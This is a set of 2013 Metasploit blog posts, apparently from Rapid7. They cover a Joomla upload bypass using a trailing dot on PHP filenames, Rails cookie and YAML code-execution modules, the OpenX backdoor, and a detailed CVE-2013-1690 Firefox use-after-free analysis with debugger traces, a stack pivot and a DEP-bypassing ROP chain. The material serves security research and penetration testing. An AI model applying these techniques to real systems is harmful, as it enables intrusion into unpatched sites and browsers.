Joomla released earlier this month a security advisory for unauthorized uploads affecting to Joomla! version 2.5.13 and earlier 2.5.x versions; and version 3.1.4 and earlier 3.x versions. Later, news has arisen announcing the vulnerability had been exploited in the wild. According to Versafe, who has reported and analyzed the attack in the wild, a significant increase of Joomla hacked systems could result from this vulnerability.

 

As a summary, a vulnerability exists on the Media Manager component, part of the Joomla core, which allows the user to upload files, as images, to the application. The problem exists while validating the extension of the uploaded files, where the filters could be bypassed just by appending a "." (dot) to the end of the filename.

 

If the reader is interested in more details, a twitter from webDEViL was published identifying the patch and the potential vulnerability:

 

twitter.png

 

Also, the vulnerability analysis, explaining the problem with the validation applied, has been published. For the lazier, we've highlighted the conclusions :-):

 

analysis.png

 

As a result, by using this vulnerability, files with names like shellcode.php. (note the trailing dot!) can be uploaded to the Joomla web application path (folder), which otherwise wouldn't be possible. The bad news is that Apache will deal with the file as PHP, since the empty extension isn't (probably) a mime-type known by the web server. This combination results in remote, arbitrary PHP code execution.

 

By inspecting a little more the Joomla application, there are two (easy to find) places where the Media Manager component is used:

 

  • On the Administrator Panel: but yeah, access to the admin panel is necessary, which doesn't look like the best option for exploitability. Even when it's vulnerable to the described arbitrary file upload!

 

admin_file_upload.png

 

  • From the "Submit Article" (content creation) feature, where attaching, for example, an image to the content:


submit_article.png


This path looks more interesting for an exploit, since only permissions for creating contents are needed in order to access the exploitable function. This permissions is allowed by default to some roles like Authors or Editors, but is also granted to Public (anonymous) roles on several sites:


permissions.png


So far so good, all the reviewed information is sufficient enough to build a Metasploit module in order to check a Joomla site:

 

session.png

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments

The weekly Metasploit update is out, and I wanted to highlight three modules that landed in the last week, all of which target open source software. It's easy to drink the FOSS Kool-Aid, and talk about how it's more inherently secure than secret source software, but sadly, security is Hard Work, even in happy-hippie open source land.

 

OpenX Backdoored

First, a little background -- Heise Security reported that the OpenX open source ad server got itself backdoored on August 6, and this was quickly confirmed by a post on the OpenX Blog. If you happen to use this software, you'll want to update to at least version 2.8.11 pretty much right now.

 

If you don't, well, then your friendly neighborhood penetration tester would like to have a word with you, and that word will likely take the form of James @egyp7 Lee's new Metasploit module, OpenX Backdoor PHP Code Execution, which leverages the existing backdoor functionality to execute arbitrary commands.

 

As of today, nobody knows (or nobody's saying) how and exactly when OpenX got backdoored. Since it's an open source project, it seems unlikely that it would have been backdoored by an OpenX.com employee, but more likely by an evil contributor (or someone impersonating an evil contributor).

 

This is why, really, I'm bringing up the OpenX compromise. Open source is great and all, but it's not magical. We spend a pretty decent amount of energy ensuring that contributions to Metasploit are not malicious, and we try to get to know pretty much everyone who's contributed more than once or twice. I know of a handful of sketchy pull requests that we've had to reject (binary-only ASM payloads leap to mind), and everyone who has commit access to the main Metasploit repository is very conscious of this trusted-outsider threat.

 

So, if you're involved in an open source project, or use open source software, feel free to peek in on the codebase from time to time; open source is a two way street, and to invoke Eric S. Raymond, more eyeballs not only mean shallower bugs, but also tend toward higher source security.

 

Speaking of (not) Backdooring Metasploit...

This week, we have a new exploit that maintainers of Rails applications should take note of: joernchen's new exploit, Ruby on Rails Known Secret Session Cookie Remote Code Execution. Before anyone asks, yes, Metasploit Pro (and every other Rails app on Earth) is technically vulnerable. However, Metasploit (and all those other Rails apps) are only vulnerable if the attacker has insider knowledge already. It's similiar to the idea that that SSH servers are vulnerable to attack if the attacker already has an authorized private key. Allow me to elaborate.

 

For joernchen's exploit to be successful, the attacker needs to already know the secret token that Rails uses to authenticate session cookies. Normally, of course, this token isn't exposed, since it's called "secret" for a reason. However, if an attacker does manage to learn the secret (often through sloppy source control), then he can not only impersonate other users (already bad), but bake a "poisonous cookie" full of executable Ruby code (way worse).

 

Unfortunately, most source control systems aren't smart enough by default to avoid checking in secret tokens. As an application developer, you need to go out of your way to avoid it... so much for secure by design?

 

For more on Rails secret tokens, Robert Heaton's blog post is about the best reference I know about right now. In the meantime, if you happen across an internal or cloud-based source control repository for a Rails application during a pen-testing engagement, this module is a super handy way to demonstrate the risk inherent in source tracking secrets like this. If you've already accidentally checked in your application's secret (and it's more likely than you might think), you will want to change it now (and fail to check it back in). Incidentally, for Metasploit Pro (and Community and Express), the secret token is randomly generated per local installation; we don't ship with a default token or anything silly like that.

 

 

And speaking of Marshalled Code Execution...

The last module I wanted to highlight in particular this week is one for Square's open source Squash bug reporting software. This is another Rails application, and it turns out, the YAML data that gets handled by the Squash server could get run (as executable code) without a valid API token.

 

This is another case of failing to have safe, sane, and secure defaults. I think Reddit user catcradle5 put it best with with his comment, "It's so silly that there is a (default) YAML.load and then a YAML.safe_load." I couldn't agree more; seems to me it'd be better to have the load() method and the seriously_dangerous_load() method so developers are absolutely clear on the choices they're making.

 

But hey, at least their secret token isn't shipped with source, but is instead generated as part of setup, so good on them for that.

 

 

New Modules

 

We've got ten new modules with this week's update, nearly all of them exploits. Aside from the modules mentioned above, contributor Michael Messner continues his frontal assault on consumer-grade access points with a pair of new D-Link modules, juan and sinn3r spent some time beating up on HP enterprise apps, Brendan Coles converted Serge Gorbunov's Open-FTPD vuln to Metasploit, we're now shipping last week's Firefox exploit with some updated targeting, and Borja Merino delivered a nifty local DNS cache dump post module. That last one is good for a quick assessment of what all's going on on the inside of a compromised network, handy for figuring out where the nearest domain controller is without making a whole lot of post-exploitation noise.

Thanks all!

 

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

At Black Hat 2013 in Vegas this year, our very own Tod Beardsley was cornered by SecureNinja TV and social engineered into giving an interview. Here is the result - captured for eternity:

 

Open Source Metasploit, Now on ARM

The annual pilgrimage to Las Vegas for the various security shows is over, and we're all back in real life now... but not before proving, in a slightly different and probably ill-considered way, that Metasploit runs on ARM:

 

metasploit-on-arm.jpg

Yep, that's my arm, with Metasploit permanently installed. I'm pretty well committed to this notion of open source security; I talked with the folks at SecureNinja about Metasploit Framework in particular (see the video), as well as at BSidesLV about open source security in general with Mister_X (have another video). So, thanks to all of you, users and developers alike, for making Metasploit such the overwhelming and humbling success it is.

 

Open Source Standards

Speaking of my and Rapid7's commitment to open source, it's high time that we got with the rest of the Ruby development community. We're embarking on a project to convert our massive, highly used, often updated Ruby codebase to the Ruby standard of "two space" indentation. While that might seem like a big deal, we know that just jumping in and doing it will instantly cause code conflicts for pretty much everyone else. So, we're taking a measured approach, and have cobbled together a plan for mass tab destruction throughout Metasploit.

 

The short story is, once this pull request is merged to the master branch, community contributors who work on other Ruby widgets no longer need to set up special environments for working with Metasploit; your usual configurations will work here as well. By October, this should all be behind us, GitHub default layouts of code and diffs will look normal, and the world will be a better place. Hooray!

 

Advanced !persistent Threats: CVE-2013-1690

Also over conference time, it was revealed that there was some malware leveraging an older Firefox vulnerability targeting specifically the Tor Browser Bundle. The exploit implementation was pretty complex, so we took a run at it pretty much as soon as the shows were over. See @sinn3r's and Juan Vazquez's detailed blog post and module, published earlier today. While the threat was certainly advanced, it was the opposite of persistent; according to samples and reports, the payload's entire purpose was to phone home with the victim's MAC address and IP address and get out of there, thus piercing the anonymity that Tor intends to provide.

 

While the Metasploit module is not currently functional against TBB specifically, it does work against plain-Jane, unpatched Firefox. In addition, it doesn't merely collect information about targets, but pops shells like a proper, well-behaved exploit should.

 

What this means for you: it's a fine time to test if your network or host-based IDS/IPS/AV is catching the specific TBB exploit, or if they're going the extra mile and catching the exercise of the vulnerability. This kind of alternate implementation and validation is always useful to keep your security vendors honest.

 

Incidentally, if you'd like to throw in on making the Metasploit module for CVE-2013-1690 more universally useful, feel free to catch up with the blog post and create your own branch for Metasploit Framework over on GitHub to get to it.  To be honest, we don't deal with Firefox vulns very often, since the common experience is that the patches are too hard to avoid, thanks to Mozilla's aggressive patch practices.  In this case, what with all the LiveCDs and other read-only media, it could be useful for a penetration-tester to have something like this in his pocket for that next social engineering engagement against targets who might favor stability over security a little too much.

 

New Modules

 

We've got five new modules with this week's update, including a conversion of Tavis @taviso Ormandy's privilege escalation exploit and the slew of PineApp issues, once again reversed from ZDI advisories by our own Juan Vazquez.

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

fbi_logo_twitter.jpeg.jpgHello fellow hackers,

 

I hope you guys had a blast at Defcon partying it up and hacking all the things, because ready or not, here's more work for you.  During the second day of the conference, I noticed a reddit post regarding some Mozilla Firefox 0day possibly being used by the FBI in order to identify some users using Tor for crackdown on child pornography. The security community was amazing: within hours, we found more information such as brief analysis about the payload, simplified PoC, bug report on Mozilla, etc. The same day, I flew back to the Metasploit hideout (with Juan already there), and we started playing catch-up on the vulnerability.

 

Brief Analysis

 

The vulnerability was originally discovered and reported by researcher "nils". You can see his discussion about the bug on Twitter. A proof-of-concept can be found here.

 

We began with a crash with a modified version of the PoC:

 

eax=72622f2f ebx=000b2440 ecx=0000006e edx=00000000 esi=07adb980 edi=065dc4ac
eip=014c51ed esp=000b2350 ebp=000b2354 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
xul!DocumentViewerImpl::Stop+0x58:
014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:72622f2f=????????

 

EAX is a value from ESI. One way to track where this allocation came from is by putting a breakpoint at moz_xmalloc:

 

...
bu mozalloc!moz_xmalloc+0xc "r $t0=poi(esp+c); .if (@$t0==0xc4) {.printf \"Addr=0x%08x, Size=0x%08x\",eax, @$t0; .echo; k; .echo}; g"
...
Addr=0x07adb980, Size=0x000000c4
ChildEBP RetAddr
0012cd00 014ee6b1 mozalloc!moz_xmalloc+0xc [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\memory\mozalloc\mozalloc.cpp @ 57]
0012cd10 013307db xul!NS_NewContentViewer+0xe [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 497]

 

The callstack tells us this was allocated in nsdocumentviewer.cpp, at line 497, which leads to the following function. When the DocumentViewerImpl object is created while the page is being loaded, this also triggers a malloc() with size 0xC4 to store that:

 

nsresult
NS_NewContentViewer(nsIContentViewer** aResult)
{
  *aResult = new DocumentViewerImpl();
  NS_ADDREF(*aResult);
  return NS_OK;
}











 

In the PoC, window.stop() is used repeatedly that's meant to stop document parsing, except they're actually not terminated, just hang.  Eventually this leads to some sort of exhaustion and allows the script to continue, and the DocumentViewerImpl object lives on.  And then we arrive to the next line: ownerDocument.write().

 

The ownerDocument.write() function is used to write to the parent frame, but the real purpose of this is to trigger xul!nsDocShell::Destroy, which deletes DocumentViewerImpl:

 

Free DocumentViewerImpl at: 0x073ab940
ChildEBP RetAddr  
000b0b84 01382f42 xul!DocumentViewerImpl::`scalar deleting destructor'+0x10
000b0b8c 01306621 xul!DocumentViewerImpl::Release+0x22 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 548]
000b0bac 01533892 xul!nsDocShell::Destroy+0x14f [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\docshell\base\nsdocshell.cpp @ 4847]
000b0bc0 0142b4cc xul!nsFrameLoader::Finalize+0x29 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsframeloader.cpp @ 579]
000b0be0 013f4ebd xul!nsDocument::MaybeInitializeFinalizeFrameLoaders+0xec [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 5481]
000b0c04 0140c444 xul!nsDocument::EndUpdate+0xcd [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 4020]
000b0c14 0145f318 xul!mozAutoDocUpdate::~mozAutoDocUpdate+0x34 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\mozautodocupdate.h @ 35]
000b0ca4 014ab5ab xul!nsDocument::ResetToURI+0xf8 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2149]
000b0ccc 01494a8b xul!nsHTMLDocument::ResetToURI+0x20 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 287]
000b0d04 014d583a xul!nsDocument::Reset+0x6b [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2088]
000b0d18 01c95c6f xul!nsHTMLDocument::Reset+0x12 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 274]
000b0f84 016f6ddd xul!nsHTMLDocument::Open+0x736 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1523]
000b0fe0 015015f0 xul!nsHTMLDocument::WriteCommon+0x22a4c7 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1700]
000b0ff4 015e6f2e xul!nsHTMLDocument::Write+0x1a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1749]
000b1124 00ae1a59 xul!nsIDOMHTMLDocument_Write+0x537 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\obj-firefox\js\xpconnect\src\dom_quickstubs.cpp @ 13705]
000b1198 00ad2499 mozjs!js::InvokeKernel+0x59 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 352]
000b11e8 00af638a mozjs!js::Invoke+0x209 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 396]
000b1244 00a9ef36 mozjs!js::CrossCompartmentWrapper::call+0x13a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jswrapper.cpp @ 736]
000b1274 00ae2061 mozjs!JSScript::ensureRanInference+0x16 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinferinlines.h @ 1584]
000b12e8 00ad93fd mozjs!js::InvokeKernel+0x661 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 345]

 

What happens next is after the ownerDocument.write() finishes, one of the window.stop() calls that used to hang begins to finish up, which brings us to xul!nsDocumentViewer::Stop. This function will access the invalid memory, and crashes. At this point you might see two different racy crashes: Either it's accessing some memory that doesn't seem to be meant for that CALL, just because that part of the memory happens to fit in there. Or you crash at mov ecx, dword ptr [eax] like the following:

 

0:000> r
eax=41414141 ebx=000b4600 ecx=0000006c edx=00000000 esi=0497c090 edi=067a24ac
eip=014c51ed esp=000b4510 ebp=000b4514 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
xul!DocumentViewerImpl::Stop+0x58:
014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:41414141=????????

0:000> u . L3
014c51ed 8b08            mov     ecx,dword ptr [eax]
014c51ef 50              push    eax
014c51f0 ff5104          call    dword ptr [ecx+4]

 

However, note the crash doesn't necessarily have to end in xul!nsDocumentViewer::Stop, because in order to end up this in code path, it requires two conditions, as the following demonstrates:

 

DocumentViewerImpl::Stop(void)
{
  NS_ASSERTION(mDocument, "Stop called too early or too late");
  if (mDocument) {
    mDocument->StopDocumentLoad();
  }

  if (!mHidden && (mLoaded || mStopped) && mPresContext && !mSHEntry)
    mPresContext->SetImageAnimationMode(imgIContainer::kDontAnimMode);

  mStopped = true;

if (!mLoaded && mPresShell) {  // These are the two conditions that must be met
    // If you're here, you will crash
    nsCOMPtrshellDeathGrip(mPresShell);
    mPresShell->UnsuppressPainting();
}

  return NS_OK;
}









 

We discovered the above possibility due to the exploit in the wild using a different path to "call dword ptr [eax+4BCh]" in function nsIDOMHTMLElement_GetInnerHTML, meaning that it actually survives in xul!nsDocumentViewer::Stop.  It's also using an information leak to properly craft a NTDLL ROP chain specifically for Windows 7. The following example based on the exploit in the wild should demonstrate this, where we begin with the stack pivot:

 

eax=120a4018 ebx=002ec00c ecx=002ebf68 edx=00000001 esi=120a3010 edi=00000001
eip=66f05c12 esp=002ebf54 ebp=002ebf8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xul!xpc_LocalizeContext+0x3ca3f:
66f05c12 ff90bc040000    call    dword ptr [eax+4BCh] ds:0023:120a44d4=33776277

 

We can see that the pivot is a XCHG EAX,ESP from NTDLL:

 

0:000> u 77627733 L6
ntdll!__from_strstr_to_strchr+0x9b:
77627733 94              xchg    eax,esp
77627734 5e              pop     esi
77627735 5f              pop     edi
77627736 8d42ff          lea     eax,[edx-1]
77627739 5b              pop     ebx
7762773a c3              ret

 

After pivoting, it goes through the whole NTDLL ROP chain, which calls ntdll!ZwProtectVirtualMemory to bypass DEP, and then finally gains code execution:

 

0:000> dd /c1 esp L9
120a4024  77625f18 ; ntdll!ZwProtectVirtualMemory
120a4028  120a5010
120a402c  ffffffff
120a4030  120a4044
120a4034  120a4040
120a4038  00000040
120a403c  120a4048
120a4040  00040000
120a4044  120a5010

 

Note: The original exploit does not seem to go against Mozilla Firefox 17 (or other buggy versions) except for Tor Browser, but you should still get a crash.  We figured whoever wrote the exploit didn't really care about regular Firefox users, because apparently they got nothing to hide :-)

 

Metasploit Module

 

Because of the complexity of the exploit, we've decided to do an initial release for Mozilla Firefox for now. An improved version of the exploit is already on the way, and hopefully we can get that out as soon as possible, so keep an eye on the blog and msfupdate, and stay tuned.  Meanwhile, feel free to play FBI in your organization, excise that exploit on your next social engineering training campaign.

 

Screen Shot 2013-08-07 at 2.10.40 AM.png

 

Mitigation

Protecting against this exploit is typically straightforward: All you need to do is upgrade your Firefox browser (or Tor Bundle Browser, which was the true target of the original exploit). The vulnerability was patched and released by Mozilla back in late June of 2013, and the TBB was updated a couple days later, so the world has had a little over a month to get with the patched versions. Given that, it would appear that the original adversaries here had reason to believe that at least as of early August of 2013, their target pool had not patched.

 

If you're at all familiar with Firefox's normal updates, it's difficult to avoid getting patched; you need to go out of your way to skip updating, and you're more likely than not to screw that up and get patched by accident. However, since the people using Tor services often are relying on read-only media, like a LiveCD or a RO virtual environment, it's slightly more difficult for them to get timely updates. Doing so means burning a new LiveCD, or marking their VM as writable to make updates persistent. In short, it looks we have a case where good security advice (don't save anything on your secret operating system) got turned around into a poor operational security practice, violating the "keep up on security patches" rule. Hopefully, this is a lesson learned.

Filter Blog

By date: By tag: